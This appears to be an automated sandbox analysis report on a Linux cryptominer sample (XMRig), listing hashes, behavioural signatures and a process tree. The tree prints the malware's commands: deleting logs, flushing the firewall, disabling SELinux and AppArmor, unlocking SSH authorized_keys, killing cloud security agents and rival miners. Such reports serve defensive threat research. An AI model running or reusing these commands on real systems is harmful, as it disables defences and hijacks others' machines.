Analysis
-
max time kernel
150s -
max time network
142s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240418-en -
resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
15-09-2024 02:46
Behavioral task
behavioral1
Sample
e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
Resource
debian9-mipsel-20240418-en
General
-
Target
e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
-
Size
64KB
-
MD5
e18e805087ea6f63cf907907dc1d0a08
-
SHA1
ebe527ca26f78e5d347f22f323ee3f11d58cd57a
-
SHA256
e1d7014b84618cd7fbf94439c78fe7d67f351cbc5536885fa3d94ea15325d83b
-
SHA512
92115775959fa27619200334a0add1a448440ae5512aded7bd55937fec1daa0964d54f2e0f881b61515270f5bb783c9d2ab5096fd452529b8af633bff0938784
-
SSDEEP
768:57kFIBuFkc2zq0xvMGd5QP5ez4Z88mqKWCgpK8d7Cuaxz5st3P/hpE90550RQKIR:KF2Lc2Xnd5QhK8dmtq7b50BIR
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral4/files/fstream-70.dat family_xmrig behavioral4/files/fstream-70.dat xmrig -
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2306 Process not Found 2340 Process not Found 2368 Process not Found 2375 Process not Found 2506 Process not Found 2312 Process not Found 2326 Process not Found 2347 Process not Found 2354 Process not Found 2333 Process not Found 2361 Process not Found 2319 Process not Found 2382 Process not Found -
Executes dropped EXE 1 IoCs
ioc pid Process /usr/bin/tntrecht 2508 Process not Found -
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 736 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 741 sudo 2394 Process not Found 2434 Process not Found 2442 Process not Found -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2334 Process not Found 760 chattr 1174 xargs 1338 xargs 1369 xargs 1599 xargs 1714 xargs 2021 Process not Found 2430 Process not Found 1543 xargs 1706 xargs 1752 xargs 1754 xargs 929 xargs 2008 Process not Found 1288 xargs 1478 xargs 1718 xargs 1730 xargs 833 xargs 1353 xargs 1644 xargs 1704 xargs 857 xargs 1194 xargs 1300 xargs 1589 xargs 1716 xargs 2068 Process not Found 2419 Process not Found 948 xargs 1772 xargs 2018 Process not Found 2372 Process not Found 2358 Process not Found 1262 xargs 1584 xargs 1619 xargs 2028 Process not Found 2034 Process not Found 2056 Process not Found 2080 Process not Found 2538 Process not Found 2386 Process not Found 1034 xargs 1416 xargs 1436 xargs 1574 xargs 1674 xargs 1722 xargs 2084 Process not Found 1381 xargs 2040 Process not Found 1115 xargs 1742 xargs 1014 xargs 1221 xargs 1307 xargs 1525 xargs 2092 Process not Found 1554 xargs 1629 xargs 2022 Process not Found 2024 Process not Found -
Disables AppArmor 47 IoCs
Disables AppArmor security module.
pid Process 805 systemctl 2125 Process not Found 2133 Process not Found 2133 Process not Found 2449 Process not Found 797 systemctl 798 systemctl 786 systemctl 786 systemctl 775 systemctl 786 systemctl 786 systemctl 2125 Process not Found 2125 Process not Found 2125 Process not Found 2133 Process not Found 794 systemctl 795 systemctl 800 systemctl 775 systemctl 799 systemctl 786 systemctl 2138 Process not Found 2133 Process not Found 775 systemctl 789 systemctl 786 systemctl 2125 Process not Found 2132 Process not Found 2133 Process not Found 775 systemctl 801 systemctl 2128 Process not Found 802 systemctl 803 systemctl 804 systemctl 2125 Process not Found 2136 Process not Found 775 systemctl 791 systemctl 793 systemctl 2141 Process not Found 2130 Process not Found 2133 Process not Found 775 systemctl 785 systemctl 796 systemctl -
Disables SELinux 11 IoCs
Disables SELinux security module.
pid Process 774 setenforce 957 kill 957 kill 1138 grep 1260 grep 1592 grep 1612 grep 957 kill 957 kill 957 kill 957 kill -
Enumerates running processes
Discovers information about currently running processes on the system
-
Write file to user bin folder 1 IoCs
description ioc Process File opened for modification /usr/bin/tntrecht Process not Found -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill -
Enumerates kernel/hardware configuration 1 TTPs 29 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
description ioc Process File opened for reading /proc/1/status ps File opened for reading /proc/37/stat ps File opened for reading /proc/718/status pgrep File opened for reading /proc/233/cmdline pkill File opened for reading /proc/24/status Process not Found File opened for reading /proc/108/status ps File opened for reading /proc/117/stat ps File opened for reading /proc/24/stat ps File opened for reading /proc/16/status Process not Found File opened for reading /proc/37/stat ps File opened for reading /proc/426/status ps File opened for reading /proc/3/status ps File opened for reading /proc/20/status pkill File opened for reading /proc/674/cmdline pgrep File opened for reading /proc/20/stat ps File opened for reading /proc/319/cmdline pgrep File opened for reading /proc/720/status pgrep File opened for reading /proc/71/status pkill File opened for reading /proc/78/status pkill File opened for reading /proc/3/status ps File opened for reading /proc/718/status ps File opened for reading /proc/5/stat Process not Found File opened for reading /proc/314/cmdline ps File opened for reading /proc/17/cmdline ps File opened for reading /proc/71/cmdline pkill File opened for reading /proc/426/status pkill File opened for reading /proc/722/cmdline Process not Found File opened for reading /proc/23/status pkill File opened for reading /proc/10/stat ps File opened for reading /proc/9/status pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/218/status pgrep File opened for reading /proc/5/stat ps File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/720/cmdline Process not Found File opened for reading /proc/1764/cmdline pgrep File opened for reading /proc/2/status ps File opened for reading /proc/16/stat ps File opened for reading /proc/166/cmdline ps File opened for reading /proc/314/stat ps File opened for reading /proc/18/status pgrep File opened for reading /proc/117/stat ps File opened for reading /proc/108/cmdline pgrep File opened for reading /proc/11/cmdline Process not Found File opened for reading /proc/79/cmdline ps File opened for reading /proc/660/cmdline ps File opened for reading /proc/17/cmdline Process not Found File opened for reading /proc/5/status pgrep File opened for reading /proc/314/cmdline ps File opened for reading /proc/filesystems ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/719/status pgrep File opened for reading /proc/8/cmdline ps File opened for reading /proc/1637/status ps File opened for reading /proc/2/status pgrep File opened for reading /proc/37/status pkill File opened for reading /proc/8/cmdline ps File opened for reading /proc/664/cmdline pkill File opened for reading /proc/1114/cmdline ps File opened for reading /proc/11/status ps File opened for reading /proc/79/cmdline pgrep File opened for reading /proc/218/status pkill File opened for reading /proc/728/cmdline ps File opened for reading /proc/233/stat ps -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/redis2 e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/newsvc.sh e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/svcupdate e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/svcguard e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/svcworkmanager e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/svcupdates e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118 File opened for modification /tmp/xmrig.tar.gz Process not Found File opened for modification /tmp/kdevtmpfsi e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118
Processes
-
/tmp/e18e805087ea6f63cf907907dc1d0a08_JaffaCakes118/tmp/e18e805087ea6f63cf907907dc1d0a08_JaffaCakes1181⤵
- Writes DNS configuration
- Writes file to tmp directory
PID:720 -
/bin/rmrm -rf /var/log/syslog2⤵PID:727
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:730
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:732
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:736
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:741 -
/usr/sbin/sendmailsendmail -t3⤵PID:751
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1spdPL-0000C7-Ms4⤵PID:769
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:754
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1spdPM-0000CA-0c4⤵PID:770
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:755
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:756
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:758
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵
- Attempts to change immutable files
PID:760
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:761
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:762
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:764
-
-
/bin/psps aux2⤵PID:766
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:767
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:772
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:771
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:774
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:775
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:776
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:777
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:784
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:783
-
-
-
/usr/local/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
PID:775
-
-
/usr/local/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
PID:775
-
-
/usr/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
PID:775
-
-
/usr/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
PID:775
-
-
/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
PID:775
-
-
/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:775
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:785
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:786
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:787
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:788
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:789
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:792
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:791
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:793
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:794
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:795
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:796
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:797
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:798
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:799
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:800
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:801
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:802
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:803
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:804
-
-
-
/usr/local/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/local/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/sbin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/bin/systemctlsystemctl "--job-mode=ignore-dependencies" stop aliyun.service.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:786
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/psps aux2⤵PID:806
-
-
/bin/grepgrep aegis2⤵PID:808
-
-
/bin/grepgrep -v grep2⤵PID:807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:810
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:809
-
-
/bin/grepgrep Yun2⤵PID:813
-
-
/bin/grepgrep -v grep2⤵PID:812
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:814
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:815
-
-
/bin/psps aux2⤵PID:811
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:816
-
-
/bin/mkdirmkdir /usr/share -p2⤵PID:817
-
-
/bin/grepgrep 185.71.65.2382⤵PID:819
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:820
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:821
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:822
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:826
-
-
/bin/grepgrep 140.82.52.872⤵PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:825
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:827
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:831
-
-
/bin/grepgrep :4432⤵PID:829
-
-
/bin/grepgrep -v -2⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:833
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:836
-
-
/bin/grepgrep :232⤵PID:835
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:837
-
-
/bin/grepgrep -v -2⤵PID:838
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:839
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:842
-
-
/bin/grepgrep :4432⤵PID:841
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:843
-
-
/bin/grepgrep -v -2⤵PID:844
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:845
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:849
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:848
-
-
/bin/grepgrep :1432⤵PID:847
-
-
/bin/grepgrep -v -2⤵PID:850
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:851
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:855
-
-
/bin/grepgrep :22222⤵PID:853
-
-
/bin/grepgrep -v -2⤵PID:856
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:857
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:861
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:860
-
-
/bin/grepgrep :33332⤵PID:859
-
-
/bin/grepgrep -v -2⤵PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:863
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:866
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:867
-
-
/bin/grepgrep :33892⤵PID:865
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:869
-
-
/bin/grepgrep -v -2⤵PID:868
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:873
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:872
-
-
/bin/grepgrep :55552⤵PID:871
-
-
/bin/grepgrep -v -2⤵PID:874
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:875
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:878
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:879
-
-
/bin/grepgrep :66662⤵PID:877
-
-
/bin/grepgrep -v -2⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:881
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:886
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:885
-
-
/bin/grepgrep :66652⤵PID:884
-
-
/bin/grepgrep -v -2⤵PID:887
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:888
-
-
/bin/grepgrep :66672⤵PID:891
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:892
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:893
-
-
/bin/grepgrep -v -2⤵PID:894
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:895
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:899
-
-
/bin/grepgrep :77772⤵PID:898
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:900
-
-
/bin/grepgrep -v -2⤵PID:901
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:902
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:907
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:906
-
-
/bin/grepgrep :84442⤵PID:905
-
-
/bin/grepgrep -v -2⤵PID:908
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:909
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:914
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:913
-
-
/bin/grepgrep :33472⤵PID:912
-
-
/bin/grepgrep -v -2⤵PID:915
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:916
-
-
/bin/grepgrep :33332⤵PID:920
-
-
/bin/grepgrep -v grep2⤵PID:919
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:921
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:922
-
-
/bin/psps aux2⤵PID:918
-
-
/bin/grepgrep :55552⤵PID:927
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
-
/bin/grepgrep -v grep2⤵PID:926
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:929
-
-
/bin/psps aux2⤵PID:925
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:934
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:935
-
-
/bin/grepgrep -v grep2⤵PID:933
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:936
-
-
/bin/psps aux2⤵PID:932
-
-
/bin/grepgrep log_2⤵PID:939
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:940
-
-
/bin/grepgrep -v grep2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:942
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:937
-
-
/bin/grepgrep systemten2⤵PID:946
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:945
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:948
-
-
/bin/psps aux2⤵PID:944
-
-
/bin/grepgrep netns2⤵PID:953
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:954
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:955
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:957
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:957
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:957
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:957
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:957
-
-
/bin/killkill -9 103⤵
- Disables SELinux
- Reads CPU attributes
PID:957
-
-
-
/bin/psps aux2⤵PID:951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:962
-
-
/bin/grepgrep voltuned2⤵PID:961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:963
-
-
/bin/grepgrep -v grep2⤵PID:960
-
-
/bin/psps aux2⤵PID:959
-
-
/bin/grepgrep darwin2⤵PID:968
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:969
-
-
/bin/grepgrep -v grep2⤵PID:967
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:970
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:966
-
-
/bin/grepgrep /tmp/dl2⤵PID:974
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
-
/bin/grepgrep -v grep2⤵PID:973
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:972
-
-
/bin/grepgrep /tmp/ddg2⤵PID:980
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:981
-
-
/bin/grepgrep -v grep2⤵PID:979
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:982
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:978
-
-
/bin/grepgrep /tmp/pprt2⤵PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:987
-
-
/bin/grepgrep -v grep2⤵PID:985
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:988
-
-
/bin/psps aux2⤵PID:984
-
-
/bin/grepgrep /tmp/ppol2⤵PID:992
-
-
/bin/grepgrep -v grep2⤵PID:991
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:990
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:993
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:994
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:999
-
-
/bin/grepgrep -v grep2⤵PID:998
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1000
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1001
-
-
/bin/psps aux2⤵PID:997
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1006
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1007
-
-
/bin/grepgrep -v grep2⤵PID:1005
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1008
-
-
/bin/psps aux2⤵PID:1004
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1013
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1012
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1014
-
-
